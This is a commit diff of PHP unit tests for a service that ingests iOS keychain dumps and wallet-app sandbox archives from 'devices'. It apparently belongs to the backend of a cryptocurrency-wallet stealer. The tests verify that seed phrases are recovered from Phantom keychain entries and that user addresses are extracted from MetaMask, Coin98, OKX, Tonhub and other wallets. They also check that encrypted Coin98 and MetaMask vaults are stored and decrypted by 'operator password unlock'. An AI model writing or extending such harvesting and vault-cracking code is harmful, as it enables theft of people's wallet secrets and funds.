feat: app

This commit is contained in:
hashbro
2026-10-05 20:47:59 +08:00
parent 9b46e5c76b
commit d0445117b3
8 changed files with 1106 additions and 31 deletions
+381
View File
@@ -341,6 +341,39 @@ class AppUploadIngestTest extends TestCase
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
}
#[Test]
public function keychain_phantom_base64_seed_vault_recovers_mnemonic(): void
{
$device = $this->makeDevice('dev-phantom-b64');
$entropy = [];
for ($i = 0; $i < 16; $i++) {
$entropy[(string) $i] = 0;
}
$vault = json_encode([
'version' => 1,
'identifier' => 'eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d',
'name' => '账户 0',
'entropy' => $entropy,
], JSON_UNESCAPED_UNICODE);
$acct = base64_encode('.phantom-labs.vault.seed.eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d');
$xml = '<?xml version="1.0"?><keychain>'
.'<item>'
.'<acct>'.$acct.'</acct>'
.'<svce>app:no-auth</svce>'
.'<agrp>TEAM.app.phantom</agrp>'
.'<v_Data bin="1">'.base64_encode((string) $vault).'</v_Data>'
.'</item>'
.'</keychain>';
$ingester = app(AppUploadIngester::class);
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
$ingester->dispatchDecrypt($device);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first();
$this->assertNotNull($memo);
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
}
#[Test]
public function keychain_metamask_vault_is_a_password_row(): void
{
@@ -412,6 +445,315 @@ class AppUploadIngestTest extends TestCase
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
}
#[Test]
public function metamask_persist_store_keeps_user_accounts_only(): void
{
$device = $this->makeDevice('dev-mm-persist');
$eth = '0x3bb73b8aaba98538733df3c8a9ea2d769d6aca9e';
$sol = 'F2Ht8XtGJMSaVkva9XSo1tashz8xUzWSVK69Txmds2jd';
$btc = 'bc1qncn7nxs46gfvtlqaxdkpm0rpevwe8j7tuh89dz';
$trx = 'TV3K172bN8kTrq9s5fMKcB8YHZi6F8pxUm';
$stellar = 'GAX7C5SZIQJYRCASX6U2VSCFRO2Y24IAFCQSC32VEX2KR44MCXULYT4O';
$usdc = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
$accounts = ['internalAccounts' => ['accounts' => [
'acc-1' => ['id' => 'acc-1', 'address' => $eth, 'type' => 'eip155:eoa', 'metadata' => ['name' => 'Account 1']],
'acc-2' => ['id' => 'acc-2', 'address' => $sol, 'type' => 'solana:data-account', 'metadata' => []],
'acc-3' => ['id' => 'acc-3', 'address' => $btc, 'type' => 'bip122:p2wpkh', 'metadata' => []],
'acc-4' => ['id' => 'acc-4', 'address' => $trx, 'type' => 'tron:eoa', 'metadata' => []],
'acc-5' => ['id' => 'acc-5', 'address' => $stellar, 'type' => 'stellar:account', 'metadata' => []],
]]];
$tar = $this->makeTar([
'Documents/persistStore/persist-AccountsController' => json_encode($accounts),
// Token list / network config noise that used to be harvested.
'Documents/persistStore/persist-AssetsController' => json_encode([
'tokens' => [
['symbol' => 'USDC', 'name' => 'USD Coin', 'decimals' => 18, 'chainId' => '0x1', 'address' => $usdc],
],
]),
'Documents/persistStore/persist-NetworkEnablementController' => json_encode([
'multicall3' => $usdc,
'foxConnectAddresses' => ['polygon' => $usdc],
]),
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar');
$addrs = WalletAddress::query()
->where('device_id', $device->id)
->get(['address', 'chain_type', 'source']);
$this->assertSame(4, $addrs->count());
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $eth && $a->chain_type === 'ETHEREUM'));
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $sol && $a->chain_type === 'SOLANA'));
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN'));
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $trx && $a->chain_type === 'TRON'));
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $stellar));
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $usdc));
$this->assertTrue($addrs->every(fn ($a) => $a->source === 'MetaMask'));
}
#[Test]
public function coin98_manifest_stores_wallet_only(): void
{
$device = $this->makeDevice('dev-coin98');
$tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2';
$tokenContract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
// Real shape: doubly JSON-encoded wallet array inside SET_WALLET_STORAGE.
$manifest = json_encode([
'SET_WALLET_STORAGE' => json_encode([[
'address' => $tronWallet,
'privateKey' => 'U2FsdGVkX19qEoG/YqTMSgvs0Si33PVh0hddCN6s9OB3',
'chain' => 'tron',
'mnemonic' => 'U2FsdGVkX1+rQDNv7jT9NGmJ26hOhY/PPPkNIv68IqxN',
'encryption' => false,
'name' => 'My Wallet - 809532',
'isActive' => true,
]]),
'DEVICE_ID' => '"d4032e20-1279-4f43-83b2-89bf53f6a25b"',
'CACHE_TOKEN_LIST_DATA' => null,
'POINT_TOKEN_INFO' => json_encode([
'contracts' => ['boba' => ['contract' => $tokenContract, 'key' => 'boba']],
]),
]);
// Hash-named AsyncStorage file carrying the full token inventory.
$inventory = json_encode([
['symbol' => 'WOO', 'name' => 'WOO', 'decimals' => 18, 'chain' => 'binanceSmart', 'address' => $tokenContract],
['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 18, 'chain' => 'ethereum', 'address' => '0x'.$tokenContract],
]);
$tar = $this->makeTar([
'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest,
'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/f26084161a3ff963a80009cd5a700583' => $inventory,
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar');
$addrs = WalletAddress::query()->where('device_id', $device->id)->get(['address', 'chain_type', 'source']);
$this->assertSame(1, $addrs->count());
$this->assertSame($tronWallet, $addrs[0]->address);
$this->assertSame('TRON', $addrs[0]->chain_type);
$this->assertSame('Coin98', $addrs[0]->source);
}
#[Test]
public function okex_documents_store_no_token_contracts(): void
{
$device = $this->makeDevice('dev-okx');
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
$weth = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
$sqlite = $this->makeOkxCoinMetaSqlite($weth, $usdt);
$tar = $this->makeTar([
'Documents/wallet_coinMeta' => $sqlite,
'Documents/OKPayCore.db' => $this->makeOkxCoinMetaSqlite($weth, $usdt),
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.okex.OKExAppstoreFull.tar');
$this->assertSame(
0,
WalletAddress::query()->where('device_id', $device->id)->count()
);
}
#[Test]
public function tonhub_react_query_stores_user_ton_address(): void
{
$device = $this->makeDevice('dev-tonhub');
$user = 'EQDBNivLP27xo9TimKUEGZdO8oCTg9YuQZNILru-1e8jXqQQ';
$jetton = 'EQBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB';
// > 64 KiB so decodeFileContent base64-encodes it, like real mmkv.
$payload = str_pad(
'{"queryKey":["cloud","'.$user.'","primaryCurrency-v1"]}%'
.'{"queryKey":["holders","'.$jetton.'","status"]}',
70000,
'x'
);
$tar = $this->makeTar([
'Documents/mmkv/react-query' => $payload,
'Documents/mmkv/persistence' => '{"queryKey":["account","'.$jetton.'"]}',
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.tonhub.app.tar');
$addrs = WalletAddress::query()
->where('device_id', $device->id)
->get(['address', 'chain_type', 'source']);
$this->assertSame(1, $addrs->count());
$this->assertSame($user, $addrs[0]->address);
$this->assertSame('TON', $addrs[0]->chain_type);
$this->assertSame('Tonhub', $addrs[0]->source);
}
#[Test]
public function generic_wallet_skips_token_inventory_and_contract_config(): void
{
$device = $this->makeDevice('dev-generic');
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
$contract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
$digits = '0000000000000000000000000000000000000001';
$tar = $this->makeTar([
'Documents/cache/tokens.json' => json_encode([
['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 6, 'address' => $usdt],
]),
'Documents/config/contracts.json' => json_encode([
'multicall3' => $contract,
'contracts' => ['polygon' => $contract],
]),
'Documents/balance-cache.json' => json_encode([
'address' => $digits,
]),
'Documents/wallet.json' => json_encode([
'name' => 'My Wallet',
'address' => self::TRON,
]),
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.bitpie.wallet.tar');
$addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address');
$this->assertSame([self::TRON], $addrs->all());
}
#[Test]
public function coin98_encrypted_wallet_is_stored_and_unlocked_with_password(): void
{
$device = $this->makeDevice('dev-coin98-vault');
$tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2';
$password = 'woshini@88';
$cipher = $this->cryptoJsEncrypt(self::MNEMONIC, $password);
$manifest = json_encode([
'SET_WALLET_STORAGE' => json_encode([[
'address' => $tronWallet,
'privateKey' => $cipher,
'chain' => 'tron',
'mnemonic' => $cipher,
'encryption' => false,
'name' => 'My Wallet - 809532',
'isActive' => true,
]]),
'POINT_TOKEN_INFO' => json_encode(['contracts' => []]),
]);
$tar = $this->makeTar([
'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest,
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar');
// Encrypted blobs are persisted as a needs-password keystore row.
$row = WalletKeystore::query()
->where('device_id', $device->id)
->where('source', 'Coin98')
->first();
$this->assertNotNull($row);
$this->assertSame('coin98.wallet', $row->kind());
$this->assertSame('Coin98 加密钱包', $row->kindLabel());
$this->assertSame(1, (int) $row->needs_password);
$wallets = $row->raw_json['wallets'] ?? [];
$this->assertSame($tronWallet, $wallets[0]['address'] ?? null);
$this->assertSame($cipher, $wallets[0]['mnemonic'] ?? null);
// Address extraction still works alongside the keystore row.
$this->assertSame(
1,
WalletAddress::query()->where('device_id', $device->id)->where('address', $tronWallet)->count()
);
// Wrong password → no mnemonic, no crash.
$adapter = app(\App\Services\DarkSwordIngestAdapter::class);
$miss = $adapter->decryptKeystoreWithPassword($device, $row, 'wrong-password');
$this->assertSame(0, $miss['hits']);
$this->assertSame(1, $miss['coin98']);
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
// Correct wallet password → mnemonic recovered and row decrypted.
$hit = $adapter->decryptKeystoreWithPassword($device, $row, $password);
$this->assertSame(1, $hit['hits']);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($memo);
$this->assertSame('Coin98', $memo->source);
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
$this->assertSame(1, (int) $row->fresh()->decrypted);
}
#[Test]
public function metamask_keyring_vault_is_stored_and_unlocked_with_password(): void
{
$device = $this->makeDevice('dev-mm-vault2');
$password = 'woshini@88';
$vault = $this->makeMetamaskVault(self::MNEMONIC, $password);
unset($vault['kind']);
$accounts = ['internalAccounts' => ['accounts' => [
'acc-1' => ['id' => 'acc-1', 'address' => self::ETH, 'type' => 'eip155:eoa'],
]]];
$tar = $this->makeTar([
'Documents/persistStore/persist-KeyringController' => json_encode([
'vault' => json_encode($vault),
]),
'Documents/persistStore/persist-accounts' => json_encode($accounts),
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar');
$row = WalletKeystore::query()
->where('device_id', $device->id)
->where('source', 'MetaMask')
->where('needs_password', 1)
->first();
$this->assertNotNull($row);
$this->assertSame('metamask.vault', $row->kind());
$this->assertSame('MetaMask Vault', $row->kindLabel());
$this->assertSame($vault['cipher'], $row->raw_json['cipher']);
$this->assertSame($vault['iv'], $row->raw_json['iv']);
$this->assertSame($vault['salt'], $row->raw_json['salt']);
// Operator password unlock recovers the mnemonic through the
// existing quick-crypto PBKDF2 vault decryptor.
$adapter = app(\App\Services\DarkSwordIngestAdapter::class);
$result = $adapter->decryptKeystoreWithPassword($device, $row, $password);
$this->assertSame(1, $result['hits']);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($memo);
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
$this->assertSame(1, (int) $row->fresh()->decrypted);
}
#[Test]
public function tokenpocket_encrypted_sandbox_files_are_stored(): void
{
$device = $this->makeDevice('dev-gw-enc');
$encrypted = base64_encode(random_bytes(96));
$cacheText = str_repeat('a', 200); // long text is NOT encrypted material
$tar = $this->makeTar([
'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df' => base64_decode($encrypted),
'Documents/db/main.sqlite3' => base64_decode($encrypted),
'Documents/cache/market.sector.classes.json' => $cacheText,
'Documents/cache/batch_market_list_RWA.json' => json_encode(['address' => '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c', 'symbol' => 'RWA', 'name' => 'RWA', 'decimals' => 18]),
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar');
$row = WalletKeystore::query()
->where('device_id', $device->id)
->where('source', 'Global Wallet')
->first();
$this->assertNotNull($row);
$this->assertSame('encrypted.sandbox', $row->kind());
$this->assertSame(1, (int) $row->needs_password);
$files = array_keys($row->raw_json['files'] ?? []);
sort($files);
$this->assertSame([
'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df',
'Documents/db/main.sqlite3',
], $files);
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
}
private function makeDevice(string $id = 'dev-app-1'): Device
{
return Device::query()->create([
@@ -487,6 +829,45 @@ class AppUploadIngestTest extends TestCase
}
}
/**
* OKX wallet_coinMeta shape: token metadata tables full of contract
* addresses, with no user-account rows.
*/
private function makeOkxCoinMetaSqlite(string $weth, string $usdt): string
{
$tmp = tempnam(sys_get_temp_dir(), 'okx_meta_');
$pdo = new \PDO('sqlite:'.$tmp);
$pdo->exec('CREATE TABLE fullAssetCoinRelations (id INTEGER PRIMARY KEY, address TEXT, symbol TEXT, decimals INTEGER)');
$ins = $pdo->prepare('INSERT INTO fullAssetCoinRelations (address, symbol, decimals) VALUES (?,?,?)');
$ins->execute([$weth, 'WETH', 18]);
$ins->execute([$usdt, 'USDT', 6]);
$pdo = null;
$bytes = (string) file_get_contents($tmp);
@unlink($tmp);
return $bytes;
}
/**
* Mirror of CryptoJS AES.encrypt(plain, password) default output:
* base64("Salted__" + salt + AES-256-CBC), EVP_BytesToKey MD5.
*/
private function cryptoJsEncrypt(string $plain, string $password): string
{
$salt = random_bytes(8);
$derived = '';
$block = '';
while (strlen($derived) < 48) {
$block = md5($block.$password.$salt, true);
$derived .= $block;
}
$key = substr($derived, 0, 32);
$iv = substr($derived, 32, 16);
$cipher = openssl_encrypt($plain, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
return base64_encode('Salted__'.$salt.$cipher);
}
private function makeTronLinkSqlite(): string
{
$tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_');